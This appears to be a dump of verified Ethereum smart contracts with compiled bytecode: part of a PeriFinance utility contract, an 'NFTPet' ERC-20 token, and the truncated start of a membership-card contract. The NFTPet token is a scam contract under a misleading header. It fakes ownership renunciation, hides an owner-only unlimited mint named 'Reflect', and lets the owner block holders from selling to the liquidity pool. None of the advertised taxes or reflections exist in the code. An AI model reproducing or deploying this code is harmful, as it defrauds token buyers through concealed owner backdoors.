for (uint i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
if (exchangeRates.rateIsFrozen(pynth.currencyKey())) {
frozenPynthsKeys[i] = pynth.currencyKey();
}
}
return frozenPynthsKeys;
}
function pynthsRates() external view returns (bytes32[] memory, uint[] memory) {
bytes32[] memory currencyKeys = _periFinance().availableCurrencyKeys();
return (currencyKeys, _exchangeRates().ratesForCurrencies(currencyKeys));
}
function pynthsTotalSupplies()
external
view
returns (
bytes32[] memory,
uint256[] memory,
uint256[] memory
)
{
IPeriFinance periFinance = _periFinance();
IExchangeRates exchangeRates = _exchangeRates();
uint256 numPynths = periFinance.availablePynthCount();
bytes32[] memory currencyKeys = new bytes32[](numPynths);
uint256[] memory balances = new uint256[](numPynths);
uint256[] memory pUSDBalances = new uint256[](numPynths);
for (uint256 i = 0; i < numPynths; i++) {
IPynth pynth = periFinance.availablePynths(i);
currencyKeys[i] = pynth.currencyKey();
balances[i] = IERC20(address(pynth)).totalSupply();
pUSDBalances[i] = exchangeRates.effectiveValue(currencyKeys[i], balances[i], PUSD);
}
return (currencyKeys, balances, pUSDBalances);
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80632ebf118b14610067578063597ece84146100bf578063b2637a91146101c3578063ca2577e1146101cb578063d18ab37614610209578063d55415231461022d575b600080fd5b61006f6102ce565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156100ab578181015183820152602001610093565b505050509050019250505060405180910390f35b6100e5600480360360208110156100d557600080fd5b50356001600160a01b0316610578565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561012d578181015183820152602001610115565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561016c578181015183820152602001610154565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156101ab578181015183820152602001610193565b50505050905001965050505050505060405180910390f35b6100e561090f565b6101f7600480360360408110156101e157600080fd5b506001600160a01b038135169060200135610c88565b60408051918252519081900360200190f35b610211610f07565b604080516001600160a01b039092168252519081900360200190f35b610235610f16565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610279578181015183820152602001610261565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102b85781810151838201526020016102a0565b5050505090500194505050505060405180910390f35b606060006102da611182565b905060006102e6611241565b90506000826001600160a01b031663d99947de6040518163ffffffff1660e01b815260040160206040518083038186803b15801561032357600080fd5b505afa158015610337573d6000803e3d6000fd5b505050506040513d602081101561034d57600080fd5b505160408051828152602080840282010190915290915060609082801561037e578160200160208202803883390190505b50905060005b8281101561056f576000856001600160a01b0316639df95f9f836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156103d257600080fd5b505afa1580156103e6573d6000803e3d6000fd5b505050506040513d60208110156103fc57600080fd5b50516040805163dbd06c8560e01b815290519192506001600160a01b038088169263af3aea86929185169163dbd06c85916004808301926020929190829003018186803b15801561044c57600080fd5b505afa158015610460573d6000803e3d6000fd5b505050506040513d602081101561047657600080fd5b5051604080516001600160e01b031960e085901b1681526004810192909252516024808301926020929190829003018186803b1580156104b557600080fd5b505afa1580156104c9573d6000803e3d6000fd5b505050506040513d60208110156104df57600080fd5b50511561056657806001600160a01b031663dbd06c856040518163ffffffff1660e01b815260040160206040518083038186803b15801561051f57600080fd5b505afa158015610533573d6000803e3d6000fd5b505050506040513d602081101561054957600080fd5b5051835184908490811061055957fe5b6020026020010181815250505b50600101610384565b50935050505090565b60608060606000610587611182565b90506000610593611241565b90506000826001600160a01b031663d99947de6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d057600080fd5b505afa1580156105e4573d6000803e3d6000fd5b505050506040513d60208110156105fa57600080fd5b505160408051828152602080840282010190915290915060609082801561062b578160200160208202803883390190505b50905060608260405190808252806020026020018201604052801561065a578160200160208202803883390190505b509050606083604051908082528060200260200182016040528015610689578160200160208202803883390190505b50905060005b848110156108fe576000876001600160a01b0316639df95f9f836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156106dd57600080fd5b505afa1580156106f1573d6000803e3d6000fd5b505050506040513d602081101561070757600080fd5b50516040805163dbd06c8560e01b815290519192506001600160a01b0383169163dbd06c8591600480820192602092909190829003018186803b15801561074d57600080fd5b505afa158015610761573d6000803e3d6000fd5b505050506040513d602081101561077757600080fd5b5051855186908490811061078757fe5b602002602001018181525050806001600160a01b03166370a082318d6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d602081101561081357600080fd5b5051845185908490811061082357fe5b602002602001018181525050866001600160a01b031663654a60ac86848151811061084a57fe5b602002602001015186858151811061085e57fe5b6020026020010151631c1554d160e21b6040518463ffffffff1660e01b815260040180848152602001838152602001828152602001935050505060206040518083038186803b1580156108b057600080fd5b505afa1580156108c4573d6000803e3d6000fd5b505050506040513d60208110156108da57600080fd5b505183518490849081106108ea57fe5b60209081029190910101525060010161068f565b509199909850909650945050505050565b6060806060600061091e611182565b9050600061092a611241565b90506000826001600160a01b031663d99947de6040518163ffffffff1660e01b815260040160206040518083038186803b15801561096757600080fd5b505afa15801561097b573d6000803e3d6000fd5b505050506040513d602081101561099157600080fd5b50516040805182815260208084028201019091529091506060908280156109c2578160200160208202803883390190505b5090506060826040519080825280602002602001820160405280156109f1578160200160208202803883390190505b509050606083604051908082528060200260200182016040528015610a20578160200160208202803883390190505b50905060005b84811015610c78576000876001600160a01b0316639df95f9f836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610a7457600080fd5b505afa158015610a88573d6000803e3d6000fd5b505050506040513d6020811015610a9e57600080fd5b50516040805163dbd06c8560e01b815290519192506001600160a01b0383169163dbd06c8591600480820192602092909190829003018186803b158015610ae457600080fd5b505afa158015610af8573d6000803e3d6000fd5b505050506040513d6020811015610b0e57600080fd5b50518551869084908110610b1e57fe5b602002602001018181525050806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d6020811015610b8d57600080fd5b50518451859084908110610b9d57fe5b602002602001018181525050866001600160a01b031663654a60ac868481518110610bc457fe5b6020026020010151868581518110610bd857fe5b6020026020010151631c1554d160e21b6040518463ffffffff1660e01b815260040180848152602001838152602001828152602001935050505060206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d6020811015610c5457600080fd5b50518351849084908110610c6457fe5b602090810291909101015250600101610a26565b5091975095509350505050909192565b600080610c93611182565b90506000610c9f611241565b90506000826001600160a01b031663d99947de6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d6020811015610d0657600080fd5b5051905060005b81811015610efd576000846001600160a01b0316639df95f9f836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610d5b57600080fd5b505afa158015610d6f573d6000803e3d6000fd5b505050506040513d6020811015610d8557600080fd5b50516040805163dbd06c8560e01b815290519192506001600160a01b038087169263654a60ac929185169163dbd06c85916004808301926020929190829003018186803b158015610dd557600080fd5b505afa158015610de9573d6000803e3d6000fd5b505050506040513d6020811015610dff57600080fd5b5051604080516370a0823160e01b81526001600160a01b038d811660048301529151918616916370a0823191602480820192602092909190829003018186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d6020811015610e7557600080fd5b5051604080516001600160e01b031960e086901b16815260048101939093526024830191909152604482018b9052516064808301926020929190829003018186803b158015610ec357600080fd5b505afa158015610ed7573d6000803e3d6000fd5b505050506040513d6020811015610eed57600080fd5b5051959095019450600101610d0d565b5050505092915050565b6000546001600160a01b031681565b6060806060610f23611182565b6001600160a01b03166372cb051f6040518163ffffffff1660e01b815260040160006040518083038186803b158015610f5b57600080fd5b505afa158015610f6f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610f9857600080fd5b8101908080516040519392919084640100000000821115610fb857600080fd5b908301906020820185811115610fcd57600080fd5b8251866020820283011164010000000082111715610fea57600080fd5b82525081516020918201928201910280838360005b83811015611017578181015183820152602001610fff565b5050505090500160405250505090508061102f611241565b6001600160a01b031663c2c8a676836040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019060200280838360005b8381101561108d578181015183820152602001611075565b505050509050019250505060006040518083038186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156110ed57600080fd5b810190808051604051939291908464010000000082111561110d57600080fd5b90830190602082018581111561112257600080fd5b825186602082028301116401000000008211171561113f57600080fd5b82525081516020918201928201910280838360005b8381101561116c578181015183820152602001611154565b5050505090500160405250505092509250509091565b600080546040805163dacb2d0160e01b81526a5065726946696e616e636560a81b600482015260248101829052601b60448201527f4d697373696e67205065726946696e616e636520616464726573730000000000606482015290516001600160a01b039092169163dacb2d0191608480820192602092909190829003018186803b15801561121057600080fd5b505afa158015611224573d6000803e3d6000fd5b505050506040513d602081101561123a57600080fd5b5051905090565b600080546040805163dacb2d0160e01b81526c45786368616e6765526174657360981b600482015260248101829052601d60448201527f4d697373696e672045786368616e676552617465732061646472657373000000606482015290516001600160a01b039092169163dacb2d0191608480820192602092909190829003018186803b15801561121057600080fdfea265627a7a723158207f13ceeec51d90879d78ca02854d29db4f62382bb0a32254ba994e899c9c532064736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 9,262 |
0x2e07ea0bdd37d40ff640e39f47b96c5a85291a9d
|
/**
*Submitted for verification at Etherscan.io on 2021-07-26
*/
/**
🐕 �Fair launch, no dev tokens!
🐕 �Fair trade, no reserve, No buy/sell limts and no transaction fees!
🐲 Total Supply: 10000000000
💲 3% of taxes are redistributed to the community.
👩 100% Community Driven -NFTPet is a community run project. 3% of taxes are reflected on holders and 1% of each transaction gets sent to a marketing wallet that will have decisions controlled by $GODZILLA holders.
🔑 100% Safe - The contract was renounced and liquidity was locked meaning this token is a true community token.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NFTPet is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 10000000000 * 10**18;
string private _name = 'NFTPet';
string private _symbol = 'PP';
uint8 private _decimals = 18;
uint256 private rTotal = 10000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220d1385f45b43d3bf4dcfd575cf60608290565b4924a8b8f75d3e525905f1bc31b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,263 |
0x8a86B49E52aeF9C87285d232DB75a0A8899B903B
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.21 <0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MU_Membership is Ownable{
// gold card owner : {address: owner, uint: price}
// // if price == 0, owner is not going to sell
// // if price != 0, owner is going to sell
receive() payable external {
}
struct Gold {
address payable owner;
uint price;
bool sell_approve;
}
// gold card owner list
mapping (uint => Gold) public gold_list;
// gold card owner account
uint public gold_owner_count = 0;
// gold card default price
uint constant gold_price = 15e18;
// gold card max amount
uint constant gold_max = 15;
event GoldPurchased (
address payable owner,
uint price,
bool sell_approve
);
event GoldSell (
address payable owner,
uint price,
bool sell_approve
);
event GoldApprove (
address payable owner,
uint price,
bool sell_approve
);
event GoldBought (
address payable owner,
uint price,
bool sell_approve
);
struct Silver {
address payable owner;
uint price;
bool sell_approve;
}
// silver card owner list
mapping (uint => Silver) public silver_list;
// silver card owner account
uint public silver_owner_count = 0;
// silver card default price
uint constant silver_price = 1e18;
// silver card max amount
uint constant silver_max = 150;
